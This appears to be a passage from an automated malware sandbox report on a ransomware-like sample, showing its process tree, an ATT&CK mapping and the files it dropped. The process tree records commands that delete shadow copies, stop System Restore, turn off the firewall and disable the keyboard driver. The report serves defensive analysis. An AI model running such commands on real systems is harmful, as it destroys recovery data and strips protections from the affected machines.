                                                                  "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                                                                  2⤵
                                                                  • Executes a VBScript file via the Windows Script Host.
                                                                  PID:1524
                                                                • C:\Windows\System32\notepad.exe
                                                                  "C:\Windows\System32\notepad.exe"
                                                                  2⤵
                                                                    PID:2556
                                                                  • C:\Windows\System32\vssadmin.exe
                                                                    "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                                                                    2⤵
                                                                    • Interacts with shadow copies
                                                                    PID:120
                                                                  • C:\Windows\System32\wbem\WMIC.exe
                                                                    "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                                                                    2⤵
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:3464
                                                                  • C:\Windows\System32\net.exe
                                                                    "C:\Windows\System32\net.exe" stop srservice
                                                                    2⤵
                                                                      PID:3004
                                                                      • C:\Windows\system32\net1.exe
                                                                        C:\Windows\system32\net1 stop srservice
                                                                        3⤵
                                                                          PID:1828
                                                                      • C:\Windows\System32\netsh.exe
                                                                        "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                                                                        2⤵
                                                                        • Modifies Windows Firewall
                                                                        • Event Triggered Execution: Netsh Helper DLL
                                                                        PID:3240
                                                                      • C:\Windows\System32\sc.exe
                                                                        "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                                                                        2⤵
                                                                        • Launches sc.exe
                                                                        PID:1576
                                                                      • C:\Windows\System32\sc.exe
                                                                        "C:\Windows\System32\sc.exe" stop i8042prt
                                                                        2⤵
                                                                        • Launches sc.exe
                                                                        PID:5672
                                                                    • C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe
                                                                      "C:\Program Files\Google\Chrome\Application\140.0.7339.81\elevation_service.exe"
                                                                      1⤵
                                                                        PID:936
                                                                      • C:\Windows\system32\vssvc.exe
                                                                        C:\Windows\system32\vssvc.exe
                                                                        1⤵
                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                        PID:2272
                                                                      • C:\Users\Admin\AppData\Local\Temp\2026-07-22_f1ca1940bedf166371a19452e10cd73c_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                                                        C:\Users\Admin\AppData\Local\Temp\2026-07-22_f1ca1940bedf166371a19452e10cd73c_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                                                        1⤵
                                                                          PID:1940
                                                                        • C:\Users\Admin\AppData\Local\Temp\2026-07-22_f1ca1940bedf166371a19452e10cd73c_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                                                          C:\Users\Admin\AppData\Local\Temp\2026-07-22_f1ca1940bedf166371a19452e10cd73c_destroyer_elex_glassworm_ngrbot_wannacry.exe
                                                                          1⤵
                                                                            PID:5840
                                                                          • C:\Windows\system32\svchost.exe
                                                                            C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s NgcSvc
                                                                            1⤵
                                                                              PID:1840
                                                                            • C:\Windows\system32\svchost.exe
                                                                              C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s NgcCtnrSvc
                                                                              1⤵
                                                                              • Modifies data under HKEY_USERS
                                                                              PID:4632

                                                                            Network

                                                                                  MITRE ATT&CK Enterprise v16

                                                                                  Reconnaissance

                                                                                  Resource Development

                                                                                  Initial Access

                                                                                  Execution

                                                                                  Command and Scripting Interpreter

                                                                                  4
                                                                                  T1059

                                                                                  PowerShell

                                                                                  1
                                                                                  T1059.001

                                                                                  Visual Basic

                                                                                  1
                                                                                  T1059.005

                                                                                  Windows Command Shell

                                                                                  1
                                                                                  T1059.003

                                                                                  Scheduled Task/Job

                                                                                  1
                                                                                  T1053

                                                                                  Scheduled Task

                                                                                  1
                                                                                  T1053.005

                                                                                  System Services

                                                                                  2
                                                                                  T1569

                                                                                  Service Execution

                                                                                  2
                                                                                  T1569.002

                                                                                  Windows Management Instrumentation

                                                                                  1
                                                                                  T1047

                                                                                  Persistence

                                                                                  Boot or Logon Autostart Execution

                                                                                  1
                                                                                  T1547

                                                                                  Registry Run Keys / Startup Folder

                                                                                  1
                                                                                  T1547.001

                                                                                  Create or Modify System Process

                                                                                  4
                                                                                  T1543

                                                                                  Windows Service

                                                                                  4
                                                                                  T1543.003

                                                                                  Event Triggered Execution

                                                                                  2
                                                                                  T1546

                                                                                  Image File Execution Options Injection

                                                                                  1
                                                                                  T1546.012

                                                                                  Netsh Helper DLL

                                                                                  1
                                                                                  T1546.007

                                                                                  Scheduled Task/Job

                                                                                  1
                                                                                  T1053

                                                                                  Scheduled Task

                                                                                  1
                                                                                  T1053.005

                                                                                  Privilege Escalation

                                                                                  Boot or Logon Autostart Execution

                                                                                  1
                                                                                  T1547

                                                                                  Registry Run Keys / Startup Folder

                                                                                  1
                                                                                  T1547.001

                                                                                  Create or Modify System Process

                                                                                  4
                                                                                  T1543

                                                                                  Windows Service

                                                                                  4
                                                                                  T1543.003

                                                                                  Event Triggered Execution

                                                                                  2
                                                                                  T1546

                                                                                  Image File Execution Options Injection

                                                                                  1
                                                                                  T1546.012

                                                                                  Netsh Helper DLL

                                                                                  1
                                                                                  T1546.007

                                                                                  Scheduled Task/Job

                                                                                  1
                                                                                  T1053

                                                                                  Scheduled Task

                                                                                  1
                                                                                  T1053.005

                                                                                  Defense Evasion

                                                                                  Direct Volume Access

                                                                                  1
                                                                                  T1006

                                                                                  Impair Defenses

                                                                                  3
                                                                                  T1562

                                                                                  Disable or Modify System Firewall

                                                                                  1
                                                                                  T1562.004

                                                                                  Disable or Modify Tools

                                                                                  1
                                                                                  T1562.001

                                                                                  Indicator Removal

                                                                                  2
                                                                                  T1070

                                                                                  File Deletion

                                                                                  2
                                                                                  T1070.004

                                                                                  Modify Registry

                                                                                  3
                                                                                  T1112

                                                                                  Credential Access

                                                                                  Credentials from Password Stores

                                                                                  1
                                                                                  T1555

                                                                                  Credentials from Web Browsers

                                                                                  1
                                                                                  T1555.003

                                                                                  Unsecured Credentials

                                                                                  1
                                                                                  T1552

                                                                                  Credentials In Files

                                                                                  1
                                                                                  T1552.001

                                                                                  Discovery

                                                                                  Browser Information Discovery

                                                                                  1
                                                                                  T1217

                                                                                  Process Discovery

                                                                                  1
                                                                                  T1057

                                                                                  Query Registry

                                                                                  2
                                                                                  T1012

                                                                                  System Information Discovery

                                                                                  4
                                                                                  T1082

                                                                                  System Time Discovery

                                                                                  1
                                                                                  T1124

                                                                                  Lateral Movement

                                                                                  Collection

                                                                                  Data from Local System

                                                                                  1
                                                                                  T1005

                                                                                  Command and Control

                                                                                  Exfiltration

                                                                                  Impact

                                                                                  Defacement

                                                                                  1
                                                                                  T1491

                                                                                  Inhibit System Recovery

                                                                                  2
                                                                                  T1490

                                                                                  Service Stop

                                                                                  2
                                                                                  T1489

                                                                                  Replay Monitor

                                                                                  Loading Replay Monitor...

                                                                                  Downloads

                                                                                  scr_20260723_023113.jpg
                                                                                  • Path C:\ProgramData\SysUpdate\Scr\scr_20260723_023113.jpg
                                                                                  • Size 174KB
                                                                                  • SHA256 1a90932aeeaee12943c98b75cf5a9fb02f5ebdda21f1bfb46fe68d5768f8046a
                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                  Submit Download

                                                                                  invoice_1.pdf
                                                                                  • Path C:\ProgramData\invoice_1.pdf
                                                                                  • Size 68KB
                                                                                  • SHA256 25bdfc277b852d2d3b5709931b6d6986666d3d7d63d8fdfbb2b8773a1a84870f
                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                  Submit Download

                                                                                  doc_3.pdf
                                                                                  • Path C:\SystemVolumeInformation\doc_3.pdf
                                                                                  • Size 67KB
                                                                                  • SHA256 ea70d4bfae3eff402810d5bc137f1577563c13ec3426587406e6506a7f642aa0
                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                  Submit Download

                                                                                  BookmarkMergedSurfaceOrdering
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\BookmarkMergedSurfaceOrdering
                                                                                  • Size 6B
                                                                                  • SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
                                                                                  • MD5 SHA1 SHA512
                                                                                  Submit Download

                                                                                  the-real-index
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Code Cache\js\index-dir\the-real-index
                                                                                  • Size 432B
                                                                                  • SHA256 6b7d4159efc7fb45f6be45efdf94d8f2faae3a6f76f8e9ce95c7bbffb613042a
                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                  Submit Download

                                                                                  messages.json
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\en_GB\messages.json
                                                                                  • Size 593B
                                                                                  • SHA256 92f1246c21dd5fd7266ebfd65798c61e403d01a816cc3cf780db5c8aa2e3d9c9
                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                  Submit Download

                                                                                  craw_background.js
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\craw_background.js
                                                                                  • Size 531KB
                                                                                  • SHA256 04cd9494b0ed83924dad12202630b20d053d9e2819c8e826a386c814cc0a1697
                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                  Submit Download

                                                                                  CURRENT
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\GCM Store\CURRENT
                                                                                  • Size 16B
                                                                                  • SHA256 0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443
                                                                                  • MD5 SHA1 SHA512
                                                                                  Submit Download

                                                                                  History
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\History
                                                                                  • Size 160KB
                                                                                  • SHA256 40d58a868da287493af65e95b1c7972bf1c868ee8ca165ce94ac4f6add528463
                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                  Submit Download

                                                                                  Network Persistent State
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                                                                  • Size 4KB
                                                                                  • SHA256 ca93c3eca5a6bef2d5cbc42c24eef1c2d9afd4fb7e3b6295cb6cbba04ce220eb
                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                  Submit Download

                                                                                  Network Persistent State
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\Network Persistent State
                                                                                  • Size 4KB
                                                                                  • SHA256 72426bde47601c9bf673b3996d293c66746de6be282569d40f589a60325280ea
                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                  Submit Download

                                                                                  SCT Auditing Pending Reports
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Network\SCT Auditing Pending Reports
                                                                                  • Size 2B
                                                                                  • SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
                                                                                  • MD5 SHA1 SHA512
                                                                                  Submit Download

                                                                                  Preferences
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                  • Size 11KB
                                                                                  • SHA256 bd6035d0a49515ce303a35dd780bb1c7e1cf8c695da78964c3c3aacea6f7ff00
                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                  Submit Download

                                                                                  Preferences
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Preferences
                                                                                  • Size 12KB
                                                                                  • SHA256 066ac3e348833e3f56e664de6cced5f563510e27072a354059f28a32d245f32f
                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                  Submit Download

                                                                                  Secure Preferences
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences
                                                                                  • Size 11KB
                                                                                  • SHA256 abd388d4bdea336f72d84daaed7c3718fefabe3e667de79833236c7a8588ab62
                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                  Submit Download

                                                                                  the-real-index
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index
                                                                                  • Size 72B
                                                                                  • SHA256 854ccbb58125a2bdfbfc19c932da60806d66ce0c43be5325d01afefde52c86ef
                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                  Submit Download

                                                                                  the-real-index~RFe59b3c6.TMP
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Code Cache\js\index-dir\the-real-index~RFe59b3c6.TMP
                                                                                  • Size 48B
                                                                                  • SHA256 51edec03b4a14fb467cda7f1450ee2457091345ffd0282f8a2de83387284aed9
                                                                                  • MD5 SHA1 SHA512
                                                                                  Submit Download

                                                                                  data_0
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_0
                                                                                  • Size 8KB
                                                                                  • SHA256 d6a5fe39cd672781b256e0e3102f7022635f1d4bb7cfcc90a80fffe4d0f3877e
                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                  Submit Download

                                                                                  data_1
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1
                                                                                  • Size 264KB
                                                                                  • SHA256 b1e963d702392fb7224786e7d56d43973e9b9efd1b89c17814d7c558ffc0cdec
                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                  Submit Download

                                                                                  data_2
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_2
                                                                                  • Size 8KB
                                                                                  • SHA256 ec1702806f4cc7c42a82fc2b38e89835fde7c64bb32060e0823c9077ca92efb7
                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                  Submit Download

                                                                                  data_3
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_3
                                                                                  • Size 8KB
                                                                                  • SHA256 e09f42c398d688dce168570291f1f92d079987deda3099a34adb9e8c0522b30c
                                                                                  • MD5 SHA1 SHA512 SSDEEP
                                                                                  Submit Download

                                                                                  MANIFEST-000001
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\MANIFEST-000001
                                                                                  • Size 41B
                                                                                  • SHA256 f9d31b278e215eb0d0e9cd709edfa037e828f36214ab7906f612160fead4b2b4
                                                                                  • MD5 SHA1 SHA512
                                                                                  Submit Download

                                                                                  Web Data
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Web Data
                                                                                  • Size 138KB
                                                                                  • SHA256 ccfff55414c41af44f7d663e34ca0202a9ee48239827f44eeaf0e843c2ba004f
                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                  Submit Download

                                                                                  Local State
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                  • Size 124KB
                                                                                  • SHA256 a02013b0bbedcc0943297d40512a6f5ae4c0de2bc63380188a1ad5eb3f8a7e3b
                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                  Submit Download

                                                                                  Local State
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                  • Size 5KB
                                                                                  • SHA256 731610045acb41a6172ef3801f02ad51b4cb3cfed28f3bea270cfb8af3d5cede
                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                  Submit Download

                                                                                  Local State
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                  • Size 4KB
                                                                                  • SHA256 e98056bd4a0c881fe4a51457ace856fd886e15256ae9ad58f7de667136035ff7
                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                  Submit Download

                                                                                  Local State
                                                                                  • Path C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Local State
                                                                                  • Size 125KB
                                                                                  • SHA256 468e648dd4f445e7af4e04a91b296eaa20a488001f730cc94e9d7efaad5ad461
                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                  Submit Download

                                                                                  createshortcut.vbs
                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                                                                                  • Size 309B
                                                                                  • SHA256 d97a0677ae7f29797656334466e0f07b9093591a9a50b5818b004028159643aa
                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                  Submit Download

                                                                                  del.bat
                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                                                                                  • Size 59B
                                                                                  • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                  Submit Download

                                                                                  makelnk.vbs
                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                                                                                  • Size 310B
                                                                                  • SHA256 fff4461b61b6e026ed1f7383167dde36c3cac8a6be1e04f8129c62d0fcffa6c3
                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                  Submit Download

                                                                                  messages.json
                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4828_326956052\CRX_INSTALL\_locales\en\messages.json
                                                                                  • Size 450B
                                                                                  • SHA256 c0945dd5fdecab40c45361bec068d1996e6ae01196dce524266d740808f753fe
                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                  Submit Download

                                                                                  temp_steal.log
                                                                                  • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                                                                                  • Size 226KB
                                                                                  • SHA256 3f46a7da400bd144bad0d3587a08c818733941aae49918c2c616f2d050c407b8
                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                  Submit Download

                                                                                  stolen_data_here.txt
                                                                                  • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                                                                                  • Size 227KB
                                                                                  • SHA256 d4396b7cd17e57dddbf8348cb2893104337364922aef0c454a4ea27dea84e1ac
                                                                                  • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                  Submit Download

                                                                                  hosts
                                                                                  • Path C:\Windows\system32\drivers\etc\hosts
                                                                                  • Size 1KB
                                                                                  • SHA256 05cbb805453fb4d33b6ebe61ba64f15bd852227542c765c1b49f7b76a000cf29
                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                  Submit Download

                                                                                  hosts
                                                                                  • Path C:\Windows\system32\drivers\etc\hosts
                                                                                  • Size 1KB
                                                                                  • SHA256 23383fbd5759a11751c072d17065026f026dbb6e364a8cf3402c6a78aa316577
                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                  Submit Download

                                                                                  hosts
                                                                                  • Path C:\Windows\system32\drivers\etc\hosts
                                                                                  • Size 1KB
                                                                                  • SHA256 9e00229c7b616d536f9d0ea92954d99cccc1777a6478bf836fc8b6ff301c7d03
                                                                                  • MD5 SHA1 SHA512 TLSH
                                                                                  Submit Download

                                                                                  memory/1840-20-0x000001E55A150000-0x000001E55A172000-memory.dmp
                                                                                  Download

                                                                                  memory/1840-133-0x000001E55A730000-0x000001E55A73A000-memory.dmp
                                                                                  Download

                                                                                  memory/1840-77-0x000001E55A670000-0x000001E55A722000-memory.dmp
                                                                                  Download

                                                                                  memory/1840-69-0x000001E55A650000-0x000001E55A66E000-memory.dmp
                                                                                  Download

                                                                                  memory/2556-2500-0x00000238EBAA0000-0x00000238EBAA1000-memory.dmp
                                                                                  Download

                                                                                  memory/2624-1647-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
                                                                                  Download

                                                                                  memory/2624-486-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
                                                                                  Download

                                                                                  memory/2624-8-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
                                                                                  Download

                                                                                  memory/2624-6-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
                                                                                  Download

                                                                                  memory/2624-4-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
                                                                                  Download

                                                                                  memory/2624-3-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
                                                                                  Download

                                                                                  memory/2624-674-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
                                                                                  Download

                                                                                  memory/2624-0-0x00007FFD1A67F000-0x00007FFD1A680000-memory.dmp
                                                                                  Download

                                                                                  memory/2624-2-0x00007FFD1A4F0000-0x00007FFD1AE94000-memory.dmp
                                                                                  Download

                                                                                  memory/2624-1-0x0000000000C60000-0x0000000000C72000-memory.dmp
                                                                                  Download